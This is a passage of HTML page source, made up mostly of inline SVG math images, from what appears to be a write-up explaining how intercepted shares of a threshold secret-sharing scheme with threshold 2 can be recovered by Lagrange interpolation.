784.756-.784s.756.322.756.77c0%20.462-.266.714-.798.742.364.49.938.742%201.722.742.84%200%201.26-.49%201.26-1.484%200-.588-.112-1.078-.322-1.484-.378-.672-.896-.798-1.764-.798-.168-.028-.252-.098-.252-.224%200-.21.098-.21.378-.21h.602c1.05%200%201.582-.742%201.582-2.24%200-1.19-.434-2.226-1.498-2.226-.91%200-1.582.308-1.988.924.49-.014.854.35.854.826s-.35.826-.826.826c-.546%200-.826-.28-.826-.854%200-.686.308-1.232.924-1.666.546-.378%201.19-.56%201.904-.56.798%200%201.484.266%202.086.784s.896%201.162.896%201.946c0%201.316-1.036%202.226-2.156%202.52%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22m%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M8.372%2017.388v3.542H6.86v-3.542c0-2.156-.252-4.326-.742-6.524C5.25%206.916%203.444%202.576.882.616A.28.28%200%200%201%20.728.35c0-.238.112-.35.35-.35.07%200%20.14.028.196.07%201.218.924%202.38%202.31%203.472%204.172%201.932%203.304%203.626%208.246%203.626%2013.146%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22n%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M6.86%200h1.512v6.972H6.86Z%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22o%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M6.86%200h1.512v3.542c0%204.592-1.554%209.338-3.29%2012.558-1.148%202.114-2.422%203.71-3.808%204.76a.34.34%200%200%201-.196.07c-.238%200-.35-.112-.35-.35%200-.112.042-.21.14-.28%201.134-.854%202.156-2.212%203.094-4.06C5.628%2012.936%206.86%208.302%206.86%203.542Z%22%2F%3E%3C%2Fsymbol%3E%3C%2Fdefs%3E%3C%2Fsvg%3E&quot; class=&quot;typst-display typst-doc&quot; style=&quot; width: 12.621509090909088em&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Even though we are only able to intercept two of the three shares, we can still interpolate each &lt;img src=&quot;data:image&#x2F;svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20width%3D%2228.3244pt%22%20height%3D%2221.878999999999998pt%22%20class%3D%22typst-doc%22%20viewBox%3D%220%200%2028.3244%2021.878999999999998%22%3E%3Cstyle%3E%3Aroot%20%7B%0A%09--t%3A%20%23000000%3B%0A%09--b%3A%20%23ffffff%3B%0A%09--m%3A%20%23d5d5d5%3B%0A%09--l%3A%20%230074d9%3B%0A%09--r%3A%20%23ff4136%3B%0A%09--g%3A%20%232ecc40%3B%0A%09--p%3A%20%23f012be%3B%0A%09--y%3A%20%23ffdc00%3B%0A%7D%0A%0A%40media%20%28prefers-color-scheme%3A%20dark%29%20%7B%0A%09%3Aroot%20%7B%0A%09%09--t%3A%20%23ffffff%3B%0A%09%09--b%3A%20%23000000%3B%0A%09%09--m%3A%20%237a7a7a%3B%0A%09%7D%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%20%7B%0A%09fill%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%20%7B%0A%09fill%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09fill%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%20%7B%0A%09fill%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%20%7B%0A%09fill%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%20%7B%0A%09fill%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%20%7B%0A%09fill%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09fill%3A%20var%28--y%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%20%7B%0A%09stroke%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%20%7B%0A%09stroke%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09stroke%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%20%7B%0A%09stroke%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%20%7B%0A%09stroke%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%20%7B%0A%09stroke%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%20%7B%0A%09stroke%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09stroke%3A%20var%28--y%29%3B%0A%7D%0A%3C%2Fstyle%3E%3Cg%20fill%3D%22%23000000%22%20class%3D%22typst-group%22%3E%3Cuse%20xlink%3Ahref%3D%22%23a%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%200%2015.379%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23b%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%206.37%2018.59%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23c%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2010.774%2015.379%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23d%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2015.831%2015.379%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23e%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2023.267%2015.379%29%22%2F%3E%3C%2Fg%3E%3Cdefs%3E%3Csymbol%20id%3D%22a%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M7.176%208.229c0%20.572-.559.936-1.17.936-.806%200-1.365-.52-1.664-1.547-.065-.234-.208-.897-.416-1.989h-.845c-.286%200-.429-.013-.429-.286%200-.143.13-.208.403-.208h.78L2.886.104c-.143-.741-.273-1.287-.39-1.651-.156-.481-.377-.728-.663-.728a.9.9%200%200%200-.494.143c.416.065.624.312.624.728%200%20.338-.169.507-.52.507-.442%200-.754-.39-.754-.832%200-.572.533-.936%201.144-.936.325%200%20.624.13.871.403.416.429.741%201.04.975%201.859.143.507.273%201.001.364%201.495l.754%204.043h1.066c.299%200%20.429.013.429.312%200%20.117-.13.182-.39.182H4.901c.078.533.442%202.496.559%202.743.13.273.312.403.546.403a.93.93%200%200%200%20.507-.143c-.403-.091-.611-.325-.611-.728%200-.338.169-.507.52-.507.442%200%20.754.39.754.832%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22b%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M2.958%205.651a.38.38%200%200%201-.392.382c-.273%200-.537-.255-.537-.527a.38.38%200%200%201%20.392-.383c.273%200%20.537.255.537.528m-1.21-1.61q-.642%200-1.01-.656c-.21-.364-.31-.619-.31-.764%200-.1.063-.146.182-.146.1%200%20.163.055.2.164.21.719.51%201.074.91%201.074.127%200%20.191-.091.191-.282%200-.119-.091-.41-.273-.883l-.564-1.447A1.1%201.1%200%200%201%20.992.71c0-.473.41-.801.883-.801.427%200%20.755.218%201%20.664.21.364.31.61.31.747%200%20.1-.064.154-.182.154-.055-.009-.118-.054-.182-.145a.1.1%200%200%201-.018-.037c-.21-.7-.51-1.055-.901-1.055q-.19%200-.191.273c0%20.136.045.327.145.564l.72%201.865q.054.15.054.3c0%20.474-.41.801-.883.801%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22c%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M4.134-3.224c.117%200%20.182.065.182.182%200%20.039-.026.091-.065.143-.676.52-1.222%201.378-1.625%202.561-.351%201.027-.533%202.041-.533%203.042v1.092c0%201.001.182%202.015.533%203.042.403%201.183.949%202.041%201.625%202.561a.2.2%200%200%201%20.065.143c0%20.117-.065.182-.182.182a.2.2%200%200%201-.091-.039c-.78-.598-1.43-1.482-1.963-2.665-.507-1.131-.767-2.197-.767-3.224V2.704c0-1.027.26-2.093.767-3.224.533-1.183%201.183-2.067%201.963-2.665a.2.2%200%200%201%20.091-.039%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22d%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M6.851%204.849c0%20.598-.585.897-1.235.897-.559%200-1.001-.299-1.339-.897-.273.598-.728.897-1.391.897-.637%200-1.157-.299-1.573-.884C.962%204.355.78%203.978.78%203.731c0-.117.065-.182.195-.182.117%200%20.195.065.221.182.247.754.793%201.638%201.664%201.638.429%200%20.637-.273.637-.806%200-.273-.234-1.287-.689-3.029-.221-.871-.611-1.3-1.17-1.3-.182%200-.351.039-.494.104q.507.195.507.702c0%20.338-.169.507-.52.507-.429%200-.754-.364-.754-.793%200-.598.611-.897%201.248-.897.546%200%20.988.299%201.339.897.247-.598.715-.897%201.391-.897.624%200%201.144.299%201.56.884.351.507.533.884.533%201.131%200%20.117-.065.182-.195.182-.117%200-.182-.065-.221-.182C5.811%201.131%205.226.234%204.381.234c-.429%200-.65.26-.65.793%200%20.169.065.533.208%201.118L4.381%203.9c.247.975.65%201.469%201.222%201.469.182%200%20.351-.039.494-.104-.351-.117-.52-.351-.52-.702%200-.338.182-.507.533-.507.416%200%20.741.377.741.793%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22e%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M1.014-3.185c.78.598%201.43%201.482%201.963%202.665.507%201.131.767%202.197.767%203.224v1.092c0%201.027-.26%202.093-.767%203.224-.533%201.183-1.183%202.067-1.963%202.665a.2.2%200%200%201-.091.039c-.117%200-.182-.065-.182-.182%200-.052.026-.104.065-.143.676-.52%201.222-1.378%201.625-2.561.351-1.027.533-2.041.533-3.042V2.704c0-1.001-.182-2.015-.533-3.042-.403-1.183-.949-2.041-1.625-2.561-.039-.052-.065-.104-.065-.143%200-.117.065-.182.182-.182.013%200%20.052.013.091.039%22%2F%3E%3C%2Fsymbol%3E%3C%2Fdefs%3E%3C%2Fsvg%3E&quot; class=&quot;typst-inline typst-doc&quot; style=&quot;vertical-align: -0.5909090909090907em; width: 2.5749454545454546em&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; alt=&quot;&quot; &#x2F;&gt; because the threshold is &lt;img src=&quot;data:image&#x2F;svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20width%3D%226.5pt%22%20height%3D%2221.878999999999998pt%22%20class%3D%22typst-doc%22%20viewBox%3D%220%200%206.5%2021.878999999999998%22%3E%3Cstyle%3E%3Aroot%20%7B%0A%09--t%3A%20%23000000%3B%0A%09--b%3A%20%23ffffff%3B%0A%09--m%3A%20%23d5d5d5%3B%0A%09--l%3A%20%230074d9%3B%0A%09--r%3A%20%23ff4136%3B%0A%09--g%3A%20%232ecc40%3B%0A%09--p%3A%20%23f012be%3B%0A%09--y%3A%20%23ffdc00%3B%0A%7D%0A%0A%40media%20%28prefers-color-scheme%3A%20dark%29%20%7B%0A%09%3Aroot%20%7B%0A%09%09--t%3A%20%23ffffff%3B%0A%09%09--b%3A%20%23000000%3B%0A%09%09--m%3A%20%237a7a7a%3B%0A%09%7D%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%20%7B%0A%09fill%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%20%7B%0A%09fill%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09fill%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%20%7B%0A%09fill%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%20%7B%0A%09fill%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%20%7B%0A%09fill%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%20%7B%0A%09fill%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09fill%3A%20var%28--y%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%20%7B%0A%09stroke%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%20%7B%0A%09stroke%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09stroke%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%20%7B%0A%09stroke%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%20%7B%0A%09stroke%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%20%7B%0A%09stroke%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%20%7B%0A%09stroke%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09stroke%3A%20var%28--y%29%3B%0A%7D%0A%3C%2Fstyle%3E%3Cg%20class%3D%22typst-group%22%3E%3Cuse%20xlink%3Ahref%3D%22%23a%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%200%2015.379%29%22%2F%3E%3C%2Fg%3E%3Cdefs%3E%3Csymbol%20id%3D%22a%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M3.081%208.658c-.663%200-1.222-.234-1.703-.702S.65%206.942.65%206.279c0-.442.325-.767.728-.767.39%200%20.715.338.715.728a.703.703%200%200%201-.728.728c-.039%200-.065%200-.091-.013.247.637.819%201.196%201.638%201.196%201.066%200%201.664-.923%201.664-2.041%200-.871-.442-1.807-1.326-2.795L.806.559C.637.364.65.377.65%200h4.823l.377%202.34h-.429c-.104-.663-.195-1.04-.273-1.157-.065-.065-.455-.091-1.17-.091H1.807l1.261%201.235c.884.832%202.002%201.729%202.379%202.418q.39.683.39%201.365c0%201.534-1.196%202.548-2.756%202.548%22%2F%3E%3C%2Fsymbol%3E%3C%2Fdefs%3E%3C%2Fsvg%3E&quot; class=&quot;typst-inline typst-doc&quot; style=&quot;vertical-align: -0.5909090909090907em; width: 0.5909090909090909em&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; alt=&quot;&quot; &#x2F;&gt;. Lagrange may be a bit overkill since we only have two coefficients, but whatever.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;data:image&#x2F;svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20width%3D%22186.13248888888887pt%22%20height%3D%2236.778pt%22%20class%3D%22typst-doc%22%20viewBox%3D%220%200%20186.13248888888887%2036.778%22%3E%3Cstyle%3E%3Aroot%20%7B%0A%09--t%3A%20%23000000%3B%0A%09--b%3A%20%23ffffff%3B%0A%09--m%3A%20%23d5d5d5%3B%0A%09--l%3A%20%230074d9%3B%0A%09--r%3A%20%23ff4136%3B%0A%09--g%3A%20%232ecc40%3B%0A%09--p%3A%20%23f012be%3B%0A%09--y%3A%20%23ffdc00%3B%0A%7D%0A%0A%40media%20%28prefers-color-scheme%3A%20dark%29%20%7B%0A%09%3Aroot%20%7B%0A%09%09--t%3A%20%23ffffff%3B%0A%09%09--b%3A%20%23000000%3B%0A%09%09--m%3A%20%237a7a7a%3B%0A%09%7D%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23000000%22%